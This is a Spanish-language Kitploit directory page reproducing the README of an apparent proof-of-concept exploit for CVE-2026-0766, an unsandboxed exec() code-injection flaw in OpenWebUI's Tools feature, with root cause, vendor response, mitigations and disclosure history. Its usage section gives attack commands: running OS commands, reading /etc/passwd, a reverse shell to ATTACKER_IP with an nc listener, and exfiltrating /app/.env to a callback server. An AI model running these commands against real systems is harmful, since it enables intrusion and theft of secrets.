Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/bitt0n/cve-2026-0766
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Prueba de concepto de exploit para CVE-2026-0766, una vulnerabilidad de ejecución remota de código en OpenWebUI mediante inyección de código en herramientas. Incluye modos de ejecución de comandos, lectura de archivos, shell inversa y exfiltración ciega.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-0766: Ejecución Remota de Código en OpenWebUI

Repositorio Educativo de Investigación en Seguridad

Este repositorio contiene código de explotación de prueba de concepto para CVE-2026-0766, una vulnerabilidad de ejecución remota de código en OpenWebUI descubierta y publicada por la Zero Day Initiative (ZDI).


⚠️ Aviso Legal

Este repositorio es únicamente para pruebas de seguridad autorizadas y fines educativos.

  • Utilice este código para probar sus propios sistemas o sistemas sobre los que tenga autorización explícita para probar
  • Utilícelo para aprender sobre vulnerabilidades de seguridad en plataformas LLM
  • ❌ Nunca lo utilice contra sistemas sin permiso explícito
  • ❌ El acceso no autorizado a sistemas informáticos es ilegal

El autor no asume ninguna responsabilidad por el mal uso de este código. Los usuarios son los únicos responsables de garantizar que sus actividades cumplan con todas las leyes y regulaciones aplicables.


📋 Resumen de la Vulnerabilidad

PropiedadValor
ID CVECVE-2026-0766
Descubierta porZero Day Initiative (ZDI)
Software afectadoOpenWebUI
Tipo de vulnerabilidadInyección de código (CWE-94)
Puntuación CVSS8.8 ALTA
Vector CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Complejidad del ataqueBaja (administrador autenticado o usuario con permisos de creación/actualización de herramientas puede explotarla)

¿Qué es OpenWebUI?

OpenWebUI es una interfaz web autoalojada para Modelos de Lenguaje de Gran Escala (LLM). Proporciona una experiencia similar a ChatGPT que las organizaciones pueden ejecutar en su propia infraestructura, manteniendo las conversaciones y los datos de los LLM en sus instalaciones.

La Vulnerabilidad

OpenWebUI incluye una función de "Herramientas" (Tools) que permite a los usuarios ampliar las capacidades de los LLM enviando código Python. Este código se ejecuta en el servidor mediante la función exec() de Python sin ningún tipo de sandbox, validación o control de seguridad.

Flujo de explotación:

  1. Un usuario autenticado crea una "Herramienta" mediante POST /api/v1/tools/create
  2. El código Python proporcionado por el usuario se almacena en el campo content
  3. El servidor llama a exec(content, module.__dict__) en utils/plugin.py
  4. El código Python arbitrario se ejecuta con todos los privilegios del servidor
  5. El atacante logra Ejecución Remota de Código (RCE)

Punto clave: El código se ejecuta en el momento de la creación de la herramienta, no cuando el LLM invoca la herramienta. Esto significa que simplemente crear una herramienta maliciosa desencadena la RCE: no se necesita ninguna interacción adicional.

Versiones Probadas

Este exploit se ha verificado en:

  • OpenWebUI v0.8.10 - Vulnerable ✅ (probado el 2026-03-28)

La vulnerabilidad es de naturaleza arquitectónica (uso inseguro de exec() sobre entrada de usuario) y existe en todas las versiones hasta que el equipo de OpenWebUI publique un parche de seguridad.


🔍 Detalles Técnicos

Causa Raíz

La vulnerabilidad existe en backend/open_webui/utils/plugin.py:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # Preprocesamiento mínimo (NO es un control de seguridad)
    content = replace_imports(content)

    # Crear módulo y ejecutar código de usuario
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← VULNERABILIDAD

    return module

La función replace_imports() solo reescribe rutas de importación (cosmético): no restringe qué código puede ejecutarse. No existe:

  • ❌ Sandboxing (sin entorno de ejecución restringido)
  • ❌ Validación de código (sin inspección de AST ni listas blancas)
  • ❌ Comprobaciones de permisos (todos los usuarios autenticados pueden crear herramientas por defecto)
  • ❌ Separación de privilegios (el código se ejecuta como la cuenta de servicio de OpenWebUI)

Respuesta del Proveedor

El equipo de OpenWebUI evaluó inicialmente esto como de baja prioridad, señalando que la creación de herramientas requiere permisos de administrador. Sin embargo:

  1. La delegación de permisos es común - Muchos despliegues otorgan la creación de herramientas a usuarios avanzados, administradores de espacios de trabajo y desarrolladores
  2. Cuentas de administrador comprometidas - El phishing, el relleno de credenciales y el compromiso de SSO pueden dar a los atacantes acceso de administrador
  3. Violación de la defensa en profundidad - Incluso las acciones de administrador deberían estar restringidas; la ejecución de código sin restricciones rompe el principio de privilegio mínimo
  4. Utilidad post-compromiso - Esta vulnerabilidad es valiosa en cadenas de ataque después del acceso inicial

Después de que el proveedor propusiera que los administradores gestionaran esto con acceso restringido, ZDI ha publicado esto como una vulnerabilidad de día cero (ZDI-26-032) para informar a los defensores.

El autor respeta los desafíos de mantener proyectos de código abierto. El parcheo de seguridad requiere equilibrar las necesidades de los usuarios, las restricciones arquitectónicas y los recursos limitados. Esta publicación tiene como objetivo ayudar a los equipos de seguridad a evaluar el riesgo e implementar mitigaciones.


🛠️ Prueba de Concepto

Instalación

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Uso

El script de explotación (exploit.py) admite múltiples modos de ataque:

1. Ejecución de Comandos

Ejecutar comandos del sistema operativo y recuperar la salida:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Lectura de Archivos

Leer archivos del sistema de archivos del servidor:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Shell Inversa

Generar una shell inversa (requiere un listener netcat):

root@kitploit:~
# En la máquina del atacante:
nc -lvnp 4444

# Ejecutar el exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Exfiltración Ciega

Enviar la salida de comandos a un servidor de callback HTTP:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Autenticación

El script acepta tanto tokens JWT (del inicio de sesión SSO) como claves API:

Cómo obtener un token JWT:

  1. Inicie sesión en OpenWebUI normalmente (SSO o autenticación local)
  2. Abra las Herramientas de Desarrollo del navegador (F12)
  3. Encuentre su token:
    • Pestaña Cookies: Busque el valor de la cookie token
    • Pestaña Red: Copie el encabezado Authorization: Bearer ... de cualquier solicitud API
    • Consola: Ejecute localStorage.getItem("token")
  4. Pase el token al script: --token eyJhbGci...

🔐 Mitigaciones

Para Defensores

Si ejecuta OpenWebUI y no puede aplicar el parche de inmediato:

  1. Restrinja los permisos de creación de herramientas solo a administradores altamente confiables
  2. Audite las herramientas existentes en busca de código malicioso (verifique el contenido de las herramientas en la base de datos)
  3. Ejecute OpenWebUI con privilegios mínimos (cuenta de servicio dedicada, sistema de archivos de solo lectura cuando sea posible)
  4. Implemente filtrado de tráfico de salida de red (el contenedor no debería tener acceso saliente arbitrario)
  5. Supervise la creación sospechosa de herramientas (vigile las herramientas creadas fuera de los flujos de trabajo normales)

Correcciones Recomendadas (para mantenedores)

  1. Reemplace exec() con una alternativa segura:

    • Use RestrictedPython para ejecución en sandbox
    • Analice el AST de Python y valide contra una lista blanca de operaciones seguras
    • Ejecute el código de las herramientas en contenedores aislados (gVisor, Firecracker)
  2. Añada comprobaciones de permisos:

    • Requiera aprobación del administrador para nuevas herramientas
    • Implemente control de acceso basado en roles para la creación de herramientas
    • Añada un flujo de trabajo de revisión de código antes de que las herramientas se activen
  3. Defensa en profundidad:

    • Ejecute las herramientas en procesos separados con filtrado de llamadas al sistema (seccomp)
    • Limite el acceso al sistema de archivos a solo lectura
    • Elimine el acceso a la red del entorno de ejecución de herramientas

📚 Referencias

  • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • Aviso ZDI: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • Aviso de Seguridad de GitHub: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (Inyección de Código): https://cwe.mitre.org/data/definitions/94.html
  • Inyección de Código OWASP: https://owasp.org/www-community/attacks/Code_Injection

🙏 Créditos

  • Descubrimiento de la Vulnerabilidad: Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257
  • Investigación de Explotación y Desarrollo del PoC: Pradeep Pillai (@bitt0n)

📜 Licencia

Licencia MIT - Consulte el archivo LICENSE para más detalles.

Este código se proporciona con fines educativos y de seguridad defensiva. El autor no es responsable del mal uso.


🤝 Divulgación Responsable

Esta vulnerabilidad fue divulgada de manera responsable:

  1. ZDI descubrió y reportó la vulnerabilidad a OpenWebUI
  2. Se proporcionó un período de divulgación coordinada al proveedor para el parcheo
  3. El proveedor se negó a parchear (evaluado como riesgo aceptable)
  4. ZDI publicó como día cero para informar a la comunidad de seguridad
  5. Este PoC se publicó después de la divulgación para ayudar a los defensores a evaluar el riesgo

Si descubre vulnerabilidades de seguridad en proyectos de código abierto, siga las prácticas de divulgación responsable y dé tiempo a los mantenedores para parchear antes de la divulgación pública.


¿Preguntas o comentarios? Abra un issue en este repositorio.

Descargar herramienta